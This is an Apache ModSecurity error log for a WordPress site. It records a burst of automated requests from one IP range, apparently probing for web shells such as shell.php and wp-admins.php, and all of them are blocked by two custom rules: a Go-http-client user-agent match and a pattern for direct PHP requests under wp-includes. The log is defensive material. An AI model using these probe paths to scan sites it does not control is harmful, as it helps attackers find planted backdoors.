[Fri Jan 09 20:21:37.775515 2026] [:error] [pid 30019:tid 30024] [client 85.203.21.239:22923] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/"] [unique_id "aWDy0Uz3igHGwX5f7Irn_gAAAAA"]
[Fri Jan 09 20:21:38.131854 2026] [:error] [pid 30021:tid 30083] [client 85.203.21.188:43837] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Credit_74.php"] [unique_id "aWDy0g_M8aRtsTog5J-e6gAAAMI"]
[Fri Jan 09 20:21:38.490790 2026] [:error] [pid 30019:tid 30039] [client 85.203.21.45:33271] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/akismet/_40.php"] [unique_id "aWDy0kz3igHGwX5f7IroAAAAAA8"]
[Fri Jan 09 20:21:38.844785 2026] [:error] [pid 44848:tid 44859] [client 85.203.21.54:54407] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/coffee/colors_26.php"] [unique_id "aWDy0qjajoTJAbEk87zJtQAAAEk"]
[Fri Jan 09 20:21:39.193637 2026] [:error] [pid 14831:tid 14857] [client 85.203.21.222:31707] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/wp-conflg.php"] [unique_id "aWDy0_aKOMCmJcAyBm05AQAAApg"]
[Fri Jan 09 20:21:39.541959 2026] [:error] [pid 44848:tid 44868] [client 85.203.21.197:48833] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/endpoints/"] [unique_id "aWDy06jajoTJAbEk87zJtwAAAFI"]
[Fri Jan 09 20:21:39.892385 2026] [:error] [pid 30019:tid 30042] [client 85.203.21.176:35863] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aWDy00z3igHGwX5f7IroAwAAABI"]
[Fri Jan 09 20:21:40.238681 2026] [:error] [pid 30019:tid 30027] [client 85.203.21.227:39903] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/video/"] [unique_id "aWDy1Ez3igHGwX5f7IroBQAAAAM"]
[Fri Jan 09 20:21:40.587355 2026] [:error] [pid 44848:tid 44857] [client 85.203.21.52:25559] [client 85.203.21.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/edit-widgets/"] [unique_id "aWDy1KjajoTJAbEk87zJugAAAEc"]
[Fri Jan 09 20:21:40.935744 2026] [:error] [pid 30019:tid 30040] [client 85.203.21.222:26215] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/details/"] [unique_id "aWDy1Ez3igHGwX5f7IroCQAAABA"]
[Fri Jan 09 20:21:41.295268 2026] [:error] [pid 44848:tid 44858] [client 85.203.21.58:58639] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/classwithtostring.php"] [unique_id "aWDy1ajajoTJAbEk87zJvQAAAEg"]
[Fri Jan 09 20:21:41.648782 2026] [:error] [pid 30019:tid 30024] [client 85.203.21.156:53771] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/theme-editor-class.php"] [unique_id "aWDy1Uz3igHGwX5f7IroCgAAAAA"]
[Fri Jan 09 20:21:41.999064 2026] [:error] [pid 44848:tid 44851] [client 85.203.21.192:59367] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/LayerSlider/assets/static/codemirror/addon/hint/about.php"] [unique_id "aWDy1ajajoTJAbEk87zJwgAAAEE"]
[Fri Jan 09 20:21:42.352963 2026] [:error] [pid 44848:tid 44850] [client 85.203.21.164:63559] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/LayerSlider/assets/static/layerslider/skins/carousel/about.php"] [unique_id "aWDy1qjajoTJAbEk87zJwwAAAEA"]
[Fri Jan 09 20:21:42.704320 2026] [:error] [pid 44848:tid 44862] [client 85.203.21.157:26915] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fusion-core/css/about.php"] [unique_id "aWDy1qjajoTJAbEk87zJxgAAAEw"]
[Fri Jan 09 20:21:43.069263 2026] [:error] [pid 30019:tid 30039] [client 85.203.21.186:38261] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/themely/img/about.php"] [unique_id "aWDy10z3igHGwX5f7IroCwAAAA8"]
[Fri Jan 09 20:21:43.425194 2026] [:error] [pid 14831:tid 14838] [client 85.203.21.183:63731] [client 85.203.21.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/page-list-item/lock.php"] [unique_id "aWDy1_aKOMCmJcAyBm05BAAAAoU"]
[Fri Jan 09 20:21:43.785856 2026] [:error] [pid 14739:tid 14752] [client 193.37.32.3:45047] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/amp/vendor/ampproject/amp-toolbox/src/Validator/Spec/DescendantTagList/HeaRk.php"] [unique_id "aWDy1163M6_PkLt_IJJonAAAAcs"]
[Fri Jan 09 20:21:44.136066 2026] [:error] [pid 14831:tid 14843] [client 85.203.21.217:55663] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/sql.php"] [unique_id "aWDy2PaKOMCmJcAyBm05BQAAAoo"]
[Fri Jan 09 20:21:44.496277 2026] [:error] [pid 1366:tid 1391] [client 85.203.21.159:61783] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/user/chosen.php"] [unique_id "aWDy2BmasveKu8_ec1VqnwAAAZY"]
[Fri Jan 09 20:21:44.864035 2026] [:error] [pid 44848:tid 44869] [client 85.203.21.232:40523] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/prayer_intentions.php"] [unique_id "aWDy2KjajoTJAbEk87zJygAAAFM"]
[Fri Jan 09 20:21:45.226564 2026] [:error] [pid 14770:tid 14792] [client 85.203.21.235:50551] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/images/data.php"] [unique_id "aWDy2R5QbaVZ-6newJY8NAAAAhQ"]
[Fri Jan 09 20:21:45.577950 2026] [:error] [pid 14739:tid 14760] [client 85.203.21.208:40413] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/about.php"] [unique_id "aWDy2V63M6_PkLt_IJJonQAAAdM"]
[Fri Jan 09 20:21:45.927668 2026] [:error] [pid 14872:tid 14881] [client 85.203.21.54:31817] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/admin.php"] [unique_id "aWDy2aIUELhgYLNp1sY3mwAAAsc"]
[Fri Jan 09 20:21:46.283621 2026] [:error] [pid 1366:tid 1388] [client 85.203.21.206:45069] [client 85.203.21.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/lib/v3/dist/build/build/cache.php"] [unique_id "aWDy2hmasveKu8_ec1VqoAAAAZM"]
[Fri Jan 09 20:21:46.663604 2026] [:error] [pid 14801:tid 14817] [client 85.203.21.54:35721] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/post-views-counter/"] [unique_id "aWDy2t8UWXrz_OQYgF1jtQAAAk4"]
[Fri Jan 09 20:21:47.019026 2026] [:error] [pid 30021:tid 30085] [client 85.203.21.202:63099] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/user/media/dwv/admin.php"] [unique_id "aWDy2w_M8aRtsTog5J-e-AAAAMQ"]
[Fri Jan 09 20:21:47.374310 2026] [:error] [pid 30019:tid 30032] [client 85.203.21.222:54451] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/zoom1.php"] [unique_id "aWDy20z3igHGwX5f7IroEwAAAAg"]
[Fri Jan 09 20:21:47.721891 2026] [:error] [pid 14831:tid 14834] [client 85.203.21.239:27093] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/fonts/roboto/wp-admins.php"] [unique_id "aWDy2_aKOMCmJcAyBm05BgAAAoE"]
[Fri Jan 09 20:21:48.077274 2026] [:error] [pid 30019:tid 30031] [client 85.203.21.237:41781] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/flatsome/wp-kgg.php"] [unique_id "aWDy3Ez3igHGwX5f7IroFgAAAAc"]
[Fri Jan 09 20:21:48.476417 2026] [:error] [pid 14831:tid 14854] [client 85.203.21.58:53697] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/news-portal/wp-admins.php"] [unique_id "aWDy3PaKOMCmJcAyBm05BwAAApU"]
[Fri Jan 09 20:21:48.825382 2026] [:error] [pid 14831:tid 14842] [client 85.203.21.213:63811] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/paragraph/"] [unique_id "aWDy3PaKOMCmJcAyBm05CAAAAok"]
[Fri Jan 09 20:21:49.180997 2026] [:error] [pid 14831:tid 14836] [client 85.203.21.210:22503] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/commands/"] [unique_id "aWDy3faKOMCmJcAyBm05CQAAAoM"]
[Fri Jan 09 20:21:49.539187 2026] [:error] [pid 14739:tid 14750] [client 85.203.21.204:31911] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/buy.php"] [unique_id "aWDy3V63M6_PkLt_IJJongAAAck"]
[Fri Jan 09 20:21:49.898840 2026] [:error] [pid 30021:tid 30102] [client 85.203.21.213:53743] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/spacious-pro/js/theia-sticky-sidebar/"] [unique_id "aWDy3Q_M8aRtsTog5J-e-wAAANU"]
[Fri Jan 09 20:21:50.253684 2026] [:error] [pid 30021:tid 30089] [client 85.203.21.170:20369] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/zxasd.php"] [unique_id "aWDy3g_M8aRtsTog5J-e_QAAAMg"]
[Fri Jan 09 20:21:50.609136 2026] [:error] [pid 14739:tid 14747] [client 85.203.21.201:51293] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/database.php"] [unique_id "aWDy3l63M6_PkLt_IJJonwAAAcY"]
[Fri Jan 09 20:21:50.956254 2026] [:error] [pid 14770:tid 14778] [client 85.203.21.232:52587] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/sql.php"] [unique_id "aWDy3h5QbaVZ-6newJY8NQAAAgY"]
[Fri Jan 09 20:21:51.316956 2026] [:error] [pid 30019:tid 30039] [client 85.203.21.162:45191] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/ty.php"] [unique_id "aWDy30z3igHGwX5f7IroFwAAAA8"]
[Fri Jan 09 20:21:51.663677 2026] [:error] [pid 30021:tid 30088] [client 85.203.21.197:56629] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/ty.php"] [unique_id "aWDy3w_M8aRtsTog5J-e_wAAAMc"]
[Fri Jan 09 20:21:52.010594 2026] [:error] [pid 44848:tid 44852] [client 85.203.21.192:28957] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/ty.php"] [unique_id "aWDy4KjajoTJAbEk87zJ3QAAAEI"]
[Fri Jan 09 20:21:52.364367 2026] [:error] [pid 30020:tid 30058] [client 85.203.21.195:54123] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/a1cord.php"] [unique_id "aWDy4Mrjc66qOisG6L3YoAAAAIQ"]
[Fri Jan 09 20:21:52.712261 2026] [:error] [pid 1366:tid 1368] [client 85.203.21.168:47273] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/comment-edit-link/"] [unique_id "aWDy4BmasveKu8_ec1VqogAAAYA"]
[Fri Jan 09 20:21:53.059480 2026] [:error] [pid 1366:tid 1374] [client 85.203.21.188:61263] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/xex.php"] [unique_id "aWDy4RmasveKu8_ec1VqowAAAYU"]
[Fri Jan 09 20:21:53.419192 2026] [:error] [pid 14739:tid 14763] [client 85.203.21.235:22693] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/edit-wolf.php"] [unique_id "aWDy4V63M6_PkLt_IJJoogAAAdY"]
[Fri Jan 09 20:21:53.777422 2026] [:error] [pid 30021:tid 30085] [client 85.203.21.162:27903] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp_helper_bimfl/shell.php"] [unique_id "aWDy4Q_M8aRtsTog5J-fAwAAAMQ"]
[Fri Jan 09 20:21:54.123936 2026] [:error] [pid 30021:tid 30092] [client 85.203.21.159:58337] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp_helper_avcdl/shell.php"] [unique_id "aWDy4g_M8aRtsTog5J-fBQAAAMs"]
[Fri Jan 09 20:21:54.472902 2026] [:error] [pid 1366:tid 1371] [client 85.203.21.222:27563] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp_helper_rrvvo/shell.php"] [unique_id "aWDy4hmasveKu8_ec1VqpQAAAYM"]
[Fri Jan 09 20:21:54.826067 2026] [:error] [pid 1366:tid 1390] [client 85.203.21.41:35121] [client 85.203.21.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/contact-form-7/wp-contact-form-7.php"] [unique_id "aWDy4hmasveKu8_ec1VqpgAAAZU"]
[Fri Jan 09 20:21:55.175625 2026] [:error] [pid 30020:tid 30076] [client 85.203.21.52:23031] [client 85.203.21.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/wp_theme_ahewl/shell.php"] [unique_id "aWDy48rjc66qOisG6L3YogAAAJY"]
[Fri Jan 09 20:21:55.522766 2026] [:error] [pid 14739:tid 14746] [client 85.203.21.186:48951] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/comments-pagination-numbers/"] [unique_id "aWDy4163M6_PkLt_IJJoowAAAcU"]
[Fri Jan 09 20:21:55.872578 2026] [:error] [pid 14801:tid 14818] [client 85.203.21.227:32549] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jcrop/"] [unique_id "aWDy498UWXrz_OQYgF1jvAAAAk8"]
[Fri Jan 09 20:21:56.230277 2026] [:error] [pid 30020:tid 30066] [client 85.203.21.167:20985] [client 85.203.21.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/tx20.php"] [unique_id "aWDy5Mrjc66qOisG6L3YowAAAIw"]
